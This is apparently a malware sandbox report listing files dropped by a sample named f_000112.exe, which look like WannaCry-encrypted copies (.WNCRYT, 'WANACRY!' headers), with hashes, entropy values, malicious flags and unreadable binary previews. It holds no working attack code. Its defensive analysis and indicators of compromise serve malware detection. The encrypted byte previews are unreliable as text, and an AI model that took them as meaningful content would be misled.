                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):776
                                                                                                                                                                              Entropy (8bit):7.735893391030899
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkT9EAt0vorkF/LXjZwoMGNX6zkRxNvKBoYUMX:bkRvqLzZwxq6zkR/vtRMX
                                                                                                                                                                              MD5:1EA36C8E269D3074ED42A10B026A6D46
                                                                                                                                                                              SHA1:0B503D5A5B2F448EE34EC7B9C11452C2C4FDA857
                                                                                                                                                                              SHA-256:FC04EEDAC2006A8DB383140597CAD2B8FFB9DFE0F45EA8D9BAD13C4FC0980953
                                                                                                                                                                              SHA-512:A5D5F87E924C0F17B48FA2D85BCF34CB38FD1A6764009422C6EDD5A628E451FDCE668E94E2A77676D9B9C6C20F01E49C0589BABFC62AB89ADAC2F5685E2CB512
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....g..l......l.h...Wygp.S...g....{^QLO....L...?...,..q..],.S .6&Gy..L.?..C.[T$.../f:Z=_....^.....f.........'.{&.-.LZ.#V$C..vY$..J0<).n..<.....V.......jLw-:....v..... .)%......6..v.[..l.c.z........u..T..../.....sMP......,pI.bv.E~(...\#....~.\t...4............T....ucAa..z........#J....C.{..w.B!a.....hQW.~*..E.YG..Y...R..?...K...V\....S.......5....s....d..c"...^l..M2....+.j......".$/VZ...{..k.@|t-..~.]<q..s!... ,....j.W{>pX%.YO4.Xs......n......t:.`.$w..2v."E.*.Z:5.....t.G........~..J.........N........,.5.O4...b.r.5.l.*.......9..0t4.{......>....b..3.z.......<..w.4m.9.CP.Ze..;.. .....^8:.JBm.+i.o.y...@....g.<...p.]..?...)....g ...!v.v.:.pB...Z<..t~.w...-..]./d.."...w.M..E...ob+....U...a*..y...p..$..DTTZ..9........A..).`.t.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\HSDak9V_lmtkNU64sorwQW-6T38.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1810872
                                                                                                                                                                              Entropy (8bit):7.9998840940996745
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:JzPWNaVhAuzA4HOlOhDegC6WnhDIB9F2DDfPkUk4:aNu04HOlOVCnhEB92fPkUk4
                                                                                                                                                                              MD5:074CCEDD37C483C3BC49E893B8F46462
                                                                                                                                                                              SHA1:4711B926715730D055F3E8CEE4DED634D9BCE849
                                                                                                                                                                              SHA-256:981C9F1DBCB7A88CA7CD288E0622DBD8240CDD007DF23FB3B39D6B1830711D6B
                                                                                                                                                                              SHA-512:158C2572EB06209A2679004C2354D00BB82EF72313C90F66EAFA85F37849EF59D149260EC53F4CCCB256BB6D9F75062DB483E5ACF836181FECA2384E702584C8
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Y.i@.g%.+[jr.2z4......wr.0H..|H.8.l.q3h.s.`8F.+..}...3..'.'...#....8.M...8..I..jm...jA...........,..."..m..T....t..../S...Xa1.H#.[....Y.#.2..(x.G...s^*..P.%.....^~......[.0...>.Zn......m.'4..a...Lh..34.v-...l...........(..F..J... .5l......k.............|......v.2...?.h...c .."..Yo._...E.%.C.i....i.@r*w...........-j.C......V.G\...^..zb+...4<./I.4'..^..B...f.>...x...Z.Z...."...<....k.U4.K......:I..]...I.w.;...........h....g...%;s....Rtm..........T/..$+...?..(.&..JSU.k.........bL..G$@..'_.....|....?..^0..Y..Gm`.V...Z..`h....&.9..T.O[M.p.aW.rJ.E.p...w........i.1~..`..Q)..KZ.;.x....A..j.Arag..78.'.?..x......8..#....+Y2_.....Nc.@6..G.3`....2.N1.......![.Z.g=v..E(X...'gi-.D.P..0y)..........Ig..+.k&.R.......&.F...K... .7.E.o..._..jj.U.]......^....<t.:..p...$....\]5...s......f....;..`.-.<.J8..!......n...{..bGd.\\=.J.0.8.<......u.T.U..(.=..*}.M...'.R...-yL.3......@bV`o.VW.=..).......{....-.....$......if.t....|......f*..DU.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ix6gLNUjdsfo1b44Xv9sX0Ilnxw.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):89784
                                                                                                                                                                              Entropy (8bit):7.998031969685344
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:YCnHSGZcwvmRckUTwb+S6KudmLrJEir2RP7EFarbNOeh7cs8kP5M3Xtt8yxNJE0:YCHSGZcqmR7Swb+S6vmPJEir2RP7EeOf
                                                                                                                                                                              MD5:7DA4169E4C33146EBDCCF397E840625B
                                                                                                                                                                              SHA1:8AC3882B672888572A64528F8503CE7BF3C8B45B
                                                                                                                                                                              SHA-256:9A9932BB5940550D95529ED92C2202F7F30CA166F19C86730EA1C32D27D59BFF
                                                                                                                                                                              SHA-512:8C2AAECD76153C3CD498F92D8BBC6299267B5F6FFAAE38DC96271F628A65E513B5FFDE7761851B4EF892D2AF0D3A7597CFB75139A6EB7942D1957668532B6626
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....O..C.b..il.h..e.#...9+e.z...`...T.J.J9C...>hPhS......mN.:.t.J.a.......l..Y$:0...$.....#..J..6..<dI.sQ..j..A...1|g..._....9..a..p.>....Wg.7{S.g..zm.}..Lg...i..[...;.vF:..v_.G79...W...R.^1.@4.b/S..Up....<.1..f..2iK.,.._.-B......&.h..b`2]F]..U.@........]........Z.... .,.......?.5d'..;..m..%.#F.7.[k...._...U.S.2..........ZN.........c...q-".....3`.<..9.x....;..g.M+6Bw..).}.6|.8.....W....E).V..t...H.{dT......%_!..m.2.Gs..ck.h|..P.<...r......]O...M...7..xJ..*l.O.C...$.)v<\..Z..l.d.4.)...^...._.k..q...Dm!q>..P&4.Bp.gJ....A.*GWZ.,......G........o\.....g[T.......mz..If7.......w.Qax.....w.Q...q2........+B....Iwbg........p..*.<....x.Az.f)8..T...Z..9..~..2..jq.L...!...:(pf%{..r..(9.bXp,.=p.b|..[.....ZI.w|........E.E.^...e.k..A..C%...6.G....[,..j:Gk.R.Q.......E.K Gp..aq..s......p...GB..bR...(...?U...v.O.{.|.#.W(..E.{.8.'..].7r...<... 4......f![....\..1...wm..h.s}.B.sK.l;.....?c..M....O.'z*Y..l.|.....-V.C.P.../7.NSg.:...g...zH...h...6nI.L...4e..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):467448
                                                                                                                                                                              Entropy (8bit):7.999619344595319
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:1mo7xgnQrJpNpUikF978D6lrxk2Lu5y/9:Io7xhrppcv78DErx8AV
                                                                                                                                                                              MD5:6F47A4810EC10176AB897B3F0E47AA1F
                                                                                                                                                                              SHA1:6AF0DB4B95D623F07C0E6752050B21C591CD16E4
                                                                                                                                                                              SHA-256:F3A944855F8CA7E18777B27937ACE899159FFA49886C799A7E065542AAE3ED44
                                                                                                                                                                              SHA-512:881BCF11636B84E92EC4A0D4CF3757671AC4DF80464B0A256EC7941B416091958D2465AF000EC3D36199C9F003F73EB3C86BD3EA2EC6D0E0B6CF8200B42A0309
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....S.ES...a....4*..p.+....P.........N.-.ExHm .5..*&.CK..B..M.W.&....h.u............=.....Y..$.......r......(...:...K....,...F...S...b..=&37~..X.2........K....>I.M.Ta."7H...9..w.f.......fz...fd.....~&..u....]..2:......|9OL.^...]&n.&.....J..... .......G.)...Y....n'.G.@...N..;....q.m.K..A.......C......l.6........(.n.... ..cw.$..qG.*..R...:..(...........n..4.cB!...wtE.|..!....|.j..EK8....y..>..x$..1J...!rC:.S......{yo......-\./...F.7.5.5...".........bY..Z...=S..]......mLQb..-.ai..N.....:<8.{...`...K..X%`ZV.S}u .,f.Mv..4..L!.....Q0.8......5]....#ndsM..[..i..F.......5L(...........Z*.b...0..5.V.~q}.*.e...@k..)w..}...qG....J...%..!d..^-.l....i..f...7...0..I....n....m..O4.9}.QsX....|...4._.H{. q..u..(...d1.+."R.....=!#D..$.-.)a.M..P...$N.(3.;..QA.O.u...:.>....1.3..J..%l...BD...........;4FrO.=...$G.......y......%.e1.y......<..(6..]C.U.2....e........*...T`....rKu.2.."sU..L.b.Y.N.0.a.DR...Lk[...].`.c4aH.:....+9...".\GOl.a@.._..$i5.&~n.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\LisgCZCwGQ4lRz4go9tlwPslw_k.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16056
                                                                                                                                                                              Entropy (8bit):7.990217373533725
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:CPsm8bLbyDqpQTX/tyJIziJ/gNPbsv9/vORVT0W911:U8Eb/G1J0j49/v+pr911
                                                                                                                                                                              MD5:D178A16C818AEBD03E204C53138C1D2F
                                                                                                                                                                              SHA1:A21524E7D0BBB2FB91C4BFC66604ACD00AC9BE1B
                                                                                                                                                                              SHA-256:1E252C75C9A4CB8858BFD6DE5247863807ECB8358E088CA2D3D51EA5D6C62660
                                                                                                                                                                              SHA-512:C88A623956EBA41D7986B12F5701F8E507A5BF73F5DE16E45A0105751D133020A4A06A73D7938F52753241F7808A54E4E1BC1C3824180F36C9F47CACCACE8B25
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....q0U.)'^+...f.).R1...:.3....K\.2...7d..c.....].R..4....>~.N..3..[t3.[.......\.N..?w..E....O.3e..N.E.voPN.N.$bq.....f........._......pz...=..y.w.:..q9.${ ....#.c.......L..4....MW.Zn.._-Eu..A.M.|.D...>...?.6c.7.B..&Gm."..........fY^n..%.8.....=........S!=...9..f......6".n.%..K.oWz../1..............?.p..@>...-.E.M.+..N...."...:.y...jy.....3.g\.@#..I.{..|.v......f.[..>..g[.P5.r.^t..e.A.....dc...>H........a...h.#....v.+.....f.1kG+=.j"Sc..........k;...^g.Hy{..G....6=|z.+.6.t.......%.V~@...t........r....+.H......[.I[8>.(T<.G.....C..(0....E/@..3.......R...i.dx.@...9.....N.....l......G..........g........6..>:(...7.....].....p......Z..@.sDfz...v.q.8mc.>u.T.N./....]i4W.....c'..2.X..q$A.3."..s..u.s.0...R.9;D...T..4.....Y.`...vG.....H...g.F.;.`..6.......D..7a..5....c...[..."..oO..4.......t..d..].L\...{..m.....{.k2..`..p.b..S# &.j...k!jk&.N..e.1..h...u..k....Y.....2...g......O... Wh.......+:....7..u.<-.y..H..=..,*...(E....+......8%-.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MR6Zgdyo2coaDBmJxRBOLkPvlpk.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):258856
                                                                                                                                                                              Entropy (8bit):7.999285009337864
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:owPnyiLPaIlYdbVLGACoYZgeL2BUgm+uv8J2v74:owPnX77lYR9GAB7Ugmv6X
                                                                                                                                                                              MD5:C0604C47DE1E90E512CA2D0ACF78A1F2
                                                                                                                                                                              SHA1:81E17C540FB80DA6BCB5025054B730EDFADABE12
                                                                                                                                                                              SHA-256:7696236F8BAE2AC7422EC4D058A20C5281B1242DE24760586D9838131EABEAC1
                                                                                                                                                                              SHA-512:1E8AC733FFB1D2749F696184BF72B43922ACC11187562A6901E4E691FF1B00C5F1749D28F01C23B2F44F7FE3ABB539885A2F2261016B60980FD4EF1BBCBDB0CD
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......b.k8.\:..T!.Y.k2.z.......PPM..<..$.."....k.~.6..6qM..q...s.....+.K(...G.....>.=...{b...".....-....}...xV!.?8.6..{i.w..1.&Le....a#.... .z:l...g..*K..:....`D4.E..w."23./.....!.N.S~.)z..W..,.....F..M..o..=zv."..."...U...Z.l!...g..&9@...._.................TZ}....i..X.9....:J7..av.g..*.'.)..1...8.%.&....qX.2.:..W..W...L.z....6I..M>....L...W&I.\...Z.......H|9a.C...p.qb..$B...C.%ab...&LV..$.#..2...<t-..].U:.C.\...8>...i...jv..=...3k...b".j._.z....S..,.{uQD..d......U....6..q]..*.9.".....5FD..".{.5......n..d9W..\..\]...q..m......^.;.fY..~..,..@.J..*.-.}u...)"...j........|z..S...b.../.ZhX..!2.....;.Z.....v...U%....b..:...u......9.z....i.<..&.q.YU?.f..a.W.u..7...Wq%.w^......!.........50.`d.....s...|..*...6.i6...._....zs...&.d.....z.W..._E.4..;x[.qc..[.h...8....=..3.^({v..[.bk7.+...c.<J......._.....K...w....e.6WT..5.....O+kH1....+.......bI.w.mz.'.a.<%.....=..[..x-.Y..9.w.e.....N...u..j.....de.XxQ....P@F@N.0........p.....J.k..'.....<+..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):105400
                                                                                                                                                                              Entropy (8bit):7.998430516869845
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:NF+9pIh15+WVIWu8tUny5FZ4wPzNKfUIXXIXMP9NNnE:b0pIfmWuTiUwPzrxXMlNu
                                                                                                                                                                              MD5:695152050F7A08D9FA520EAF70615CB3
                                                                                                                                                                              SHA1:E99CC696A13178EB5BF0750BFDAFA1F5DCDC0FA7
                                                                                                                                                                              SHA-256:DE04BAD2618EABD39A5386177293B8F71468B8C76F04BED4BD4B882800AC6626
                                                                                                                                                                              SHA-512:27DDFB23C90FF311D81CD16BB9AC193A468C3D4C254C3375139EA466BB4F34C509FA6A3AD50AF979588FAA7272054F1B91F67FE863BE04B55A0F7BFA92A38BE5
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....#P...<.*.>..k..m.Fu3... z..'../7y..6.%.X.....'.;K.H.&.*..Q.5..0V.b..wg.WO.....`7..=/..wj.u.w1.......+.w....../B.%.X.u..lI;...^..W.)U....]Rc..g.N..O.6. S..0....'.j:.[....,....f....a&?bI-,Id...".....o_i)..!y$.)..C.&.0....l..#;=o..j.j.y...2....iR.................4.!=7.#.a..I.9.Te........#..w....$.'.7..+.N.......f8.......o+......0.-....^..T......W..../;...LK.)'.e..x.XF0hG...../Y.q$4U..g.a}Z-.....G.{1$^....;zU.{r..........p..D.....{U..P.\..Hl....7......G.8|W9.@..._".Ia9ak.....=.....L.8....R.E)J.-....e.1.L.2%.....R...&s.Pl.i<S.6%.....8..0*....2..]?nn..F..2......a..!.,..%1.b...xX>.(.G.R.{i..W..L...^a..... .;..h..K....5>...A!...u,..{y...sX..`G.).OxW.BA.2.......y..y.). ...yp..a......Bpsz.o.0..4.....cZ..v..&>...)...r........0c......B.r........W^^.&..F.KbI.........t+.H...b.f...G..._.fa..e.~&.t.......q.f.....4t.%h.S*........q.....H_..{...:.[.w...B..Z....5.X.....a...{M..s!.......f>7fm..v.u*d....7..bGZ.ck..~1......M....[..b.........%G..<L.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ov6JSivEymftttgBEDwd3JIRgz0.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):230936
                                                                                                                                                                              Entropy (8bit):7.999308386964777
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:Gqu5rVpUaEebf6udMcopuAvuK3SqLZuOSK8x:s/pNEFahY3CqLZuO5i
                                                                                                                                                                              MD5:5D678EF6EE85EABA5BAFF3F4AC4889E3
                                                                                                                                                                              SHA1:DA35A1D6DA5D07A84749E2D1728726DAE4AF4340
                                                                                                                                                                              SHA-256:82015BB2EF34A35D753AFBFFA7713C7E309B07F1737D0A3EBF04F64225F5A82F
                                                                                                                                                                              SHA-512:BC47C626E696BEB17E406EE6BFDD0A924D048CB39F87A2E9467C2020EBEC211BA0D600A3CDF5C81DC26F6DEBC4746D858DDDC2AC6AEC890EB5CDDB536EEE82CD
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...........&V{.|......7..t...>.._.n..Y,.........?uY...a.z.[.2.@#.Z..V.K.......f.9/J....1...3... .o...\jLuq..[.f.\..8s......-..........z..(e..1-..@.`x...:.X.3.2LQ.....Fn..9.q.#.-8.efW.'..L.'...,...F.U....^&.8q.1....AgM.....tf..X.....v`h...~..f..5.............S.A[.)oY.....~x.Y.C}+[c..V-@.HV.N.m....=.-......DC`A.......Rd.t.N...D_l........8.h..[..e..<\(.....\.N<!.Hv..P.p..........2....r...'.GQ....\o"~.2..=.....1:..a..xF?.\..k..L.n....~....8.m}+n5g...(o.]E_..W..Q'.?+.(26.V..:`-.....l@:..}.%kL....[..%D...Z....=.^.3..@.[LGk.0...d.=.XC.i.T......1....,....$.n.,......U.{.:o.B>.......Hw..Z.....Y+.W-8..[\A.....[@.=.V0j%..[.a.:.......A.R....0.c.%..ab.K.m.Ri_.f..Q..vn........_uP ......L...~)..&r....dW...d.`VB..Q.0,.J..KW....`...._..ef.....Uf...;Ev...c8....-...rOv$H:..@Z..1I..(u6..*"6m...f.(..u..)......ESF..+..H>7.f.......Y.w...*...........2.....J..g..._.c...Q..%.7.....B.....f..R...hW.M....p.)`Z...].-k......._.W/...o%..&.#...Gf..h..!.`..j

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\RfoQ_WQ8YccBpTTC1JFx7r-9GWU.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):204888
                                                                                                                                                                              Entropy (8bit):7.9991219085351934
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:qCa8Yb6MHZWcI32QJFkj0j1PoAARGZiCv/bl60/OkMmYlxkYO2g8X/DeqE/nyKtm:Ye5B3Vg0RwvCR1mkMZzkYO2gELm/ttm
                                                                                                                                                                              MD5:601FD40D436F36B0C691AE0110BF815C
                                                                                                                                                                              SHA1:7BE67C59672687FB6BCE2368AFD826BC0F55D5B1
                                                                                                                                                                              SHA-256:EDF907BDE24954D1FAFE959E99BF1687E29D6359027563917F3258CEEAE40A60
                                                                                                                                                                              SHA-512:796ECFE2D055A3D220939DB4F180503A5214C4A1F36166B44CB7EA1C514364EEE0F563B7A8646FECB48162280FBDC0EF27375F805C08202F3FA4696143A876FC
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......z.1..e!..qg:e.?..3=..zMO9[2..#..@.....=...L..._.<.Vbk....k..P.p..{..EL.88y.o..l.|...+..Hi...H....M....P..0$(.X...e|.4QcbQ]S%.o..."..!y.PX.S.....Q..j.....B?.............,R.....D.Mp...nc...B.|....AlGQmo...,..pk3q4..j..v.<..R.....#2...b....7..........p?..+|cm.....g.l...8L....4N2T......J...2....J=\M..n..A(..N..7j..}s.^_/f.s-.`ig.Hf.R.Yw^._.FI<....^.1~.o...9.#..H..Q.).n.Q..][G&.....4...w........!H=zV....AbH....R.mj....B,.|.w0...ty..<.E.I.!_.2.:.K>[..n.......O...#e6...-......d..iS..}..R.a..u..u....5.`....dO]{.K.C.f}a....oA...~....o..Vc+!..gp5.3.,...<..ske5...eHK.*...{|.A.!..09+C...g..[.R..D.'B....G...x..h..8..;$.!........e0.w....."...#Ze.<1..u.0.bM....n?.k.x.W....p....6..R.._D7n-../.&..4....q$N...@n.5...h...r.V(..8O..n...[......E.)...P.....L.....J..H.J...E1Q.l.g)8B..+>1g..~o.]..\.......t...s7g...b.;g.LQ..$eR.~Q...d...m.r..7...>1.r.-......`..oA...GZ.5..D./.<vO../..S.....v.R$.n.....6....v0.n.X..b}.%.553.Sc..1aF

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\UHyc3IjuWFO6s9IoOlmmJWw7Jqs.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):537976
                                                                                                                                                                              Entropy (8bit):7.999664836208768
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:iqklYDsxXFSmrCMfh7NPwSRnKkZjtCTb9yQAbbuCBlVQ:bUXFSmOwRPc0e6rQ
                                                                                                                                                                              MD5:3BE9C774FB72B681246D7DAB73662BAB
                                                                                                                                                                              SHA1:43B6AE9C803DFF050BFA54FEB133416BD4CB9023
                                                                                                                                                                              SHA-256:2B89B107BF908331B4B6F3EC45D8383FA7D8F6715916C1B968DF692B9985C82D
                                                                                                                                                                              SHA-512:1ACA36E88771F3BED048852EEFB144B86C1477C91C39500716F14F5DC0A2933FD058FA1F6BCACF32C9BCAC5259E01029DA7E80A81BD0AA532617E5C4B9702189
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Ha.....6....f....%..QZq`...$..J.4[..=...S.-..".u....U...>P.q8..9.,u1B...\..R...=tq.W...>..b.+......+..q...[27..j.V._v..>b....eP..CR.^.w]..i<...C.9S4."o.Z..!..rI..~../`.Sby}4 ..........d.x.A.Q..oN..JI...Hu....mc.U{.V..j.....U...2{}...9..<.....'hpR.hQ"....V4......c.I..pV....[P...)....-[......[r..v.v.I+S.._?%&.X.`..0.k..9..O...I....*....@.:...Q..D.....q.%.......v.......rO&.S....ws.#...x.....:@../..W....>.=A.....V.@K........]?.0PL.&./...p..q.....&.@...,P.oi.%.....w!.N...~*N`7....ebC.7...t.l........div....Ak}].....^.X).-.Na...r.....Y..M..TC...k.(.{?.A.~,$Q_%..A]B..|...t.....q...T...q..(..h*..4.F-?...I.J...2W.>.._.V..P....P.*.Z......|.YE;N..3U."9d1.4<.G`...E......go..c..?..85V.Hs......H.M........../I..0...T).....x...L.i@!..S....D...+...@...W..}..'..Z....).._....7...vm..,..wj.\<.!1.'......4.Q.:.v....k...(&...j.`U1..l.5p..I.-....UX....l2......Je..zN.M.4.i.Nq.g..[<qy.....x.>..-E........J...K.....Z..g....J....r.....K.d.D@E.Mym........_.....&....!M-.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\ZNvOyS-r2rT3Al22ByUYXLQ5kPY.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):95192
                                                                                                                                                                              Entropy (8bit):7.998208792580037
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:Ckbd5nmrywOqygorZ9+nevsrxB4oUEP3a2BDIXQwdB/LJHky8WOC0+jC6b7wZkAx:H7npNDX7bkMozPfB+Q+BDJHI7CHgKjg1
                                                                                                                                                                              MD5:E4135C37719ED1F9F0F75BD978840606
                                                                                                                                                                              SHA1:27AB348242BB186A2173FDC7B1B843B96A67C02F
                                                                                                                                                                              SHA-256:5293F6E0D977C05567F098CF05211BDF16FF65572E09592B93DADD50BA1351BF
                                                                                                                                                                              SHA-512:19405BFF533BBCAA81FD0A4EDCDF448FE2A1EA70156BC5D0E426BCAD13044F5531B1602F59CB9343109245C389F9066EC3DF73B1775C158D4BB4434F69DAA373
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....]....(=.......:e....k..A|.m...~3.@.Tj.5.ah..dN.#/z....\/.....M.....Z`.w.wy5./S.I.E....%"2..]..P......*.>2...t.M......M.X..'....1.....~@sQ.*.u. 4..^5.r..=.POf..e..W.=.~.'*Y$.H/...K;L.1..^..L....h...l.T^,...........mT.Y..\B~^..Izs#..+......I..y..m.....r..........Pk.....h........8...uiOu.p.t...@j@..x.!... 5e......F...<Y.....O~.....*..T.]..R.>......36...h.S..g.y.}.y......Bk.7...^.*......AfT$K....EP...CB...P.$;?.W.....cS..I.C....i...y*.?.^.s..iF..b$.b...'..O.y\..~zi.`...4....c...}.A.......6...Tt..X...b.a1..-.G./xS...qP..=.....o.lh8.l).[.<F.+..$.[..?$.R..Ux.......u...4........XKZ.6.r..l..E.\.bh..N|~<.f...43y6.N.n..\".9.._;.1.A.Y..]..N.r......G...Y.....7...l.h.$j.E..A...B..B..?.j..b.m..*..0x!.WS)...[....5...u.$D.T.=_.M.U....D..#..,Pa2...+.D.`.1.n...}...M....S."T. .9.Ep-^\.>.MC.g.0Q.......es...9&..g.8......].].7.(....6.!...r.>.XMs.j..+e.5i..!t....+.r....)....r.....$e.....yg0.....6..B...%..w.'........+...3.....D.T.........uG/.Ffv.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\a4PqRmiFC877txZZ0VJ7G5bIAUo.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2296
                                                                                                                                                                              Entropy (8bit):7.899904968057624
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkT5UfeISCM23+2kGcaiP642Vk3HwUlotzk/YoSHRSeDVf:oT5UfetCNf8ay642cHBoq2HhDt
                                                                                                                                                                              MD5:134464BADA3CAB4230E9D4232C9DD2D7
                                                                                                                                                                              SHA1:F162D320A7133373E27F11F99891A3BBF600146A
                                                                                                                                                                              SHA-256:4F67CFD5DB15187BCDD826A47102A16508BF3ED3825E3C8B5FFBFF021591C312
                                                                                                                                                                              SHA-512:2C447481700CB1E87148C0AB331854E2C0BFC4AEE8D739C66FAEC388AF0353E76378395AB960E082823C1CF20D3932DC089DC3637B8386550A14E66A84652B40
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....EB.$.....q-(...%...%[.q.T.P'.4....r...I..u{.3D..2.t....y9...v.......]KT....>...2......O?.U.(f9uA....0.B.....g.@.v..i..H.X.5.......i.!AB..9....^|!V....sp.m._8...a..#_...s.a.{y..V.!..J~.....iN\..N.'J..e...1..o...a...{gh \#...~.ciQ..~N.k.....B%N............~.*...#..}..Ku...%mk.5.yR1.b.d.7.)....9.".Gi..%......|?s.c..UWzi..`....=~...O..aE%.....Y..E..o..o*...!..$...a;T=...M...V.8.v.guq.-......F..@.5.H...L..5.....h.,S.#..O."..h...I..CZ.5/79.i.:..o^.sM....F......J..F?.1%W..P..".D&.tho9./.~.y..5..Bm.....PnQ.tv#N..v.\w....'Z..pD?.$......T+][.R....`.1.!...~....Rp.".!......s.<5..S6M?E.B..I>..e".......q.}g.^^~..@:WzS,D..s.."RkLQ1)|.\...U..n.f.2.........+*..N...0X.C..t.5..Q..m.G...?5.5..;.......A.[7!.K'..}....Q..F?p..s......egD.flc.'..G....c.5..<.wE..>Dn....-.M=..N.....E=........nb.S..o.. ...I.6?....t.~.O..^.z.m..7.t..cZhw..4A..A.,.B.@r....n7{x.....M........#.`.....A..H.v..|...[.IV.^o.mR=..J...q.#.Fay.......[Wa5.|..7.....J'...[..E$..N.YSG

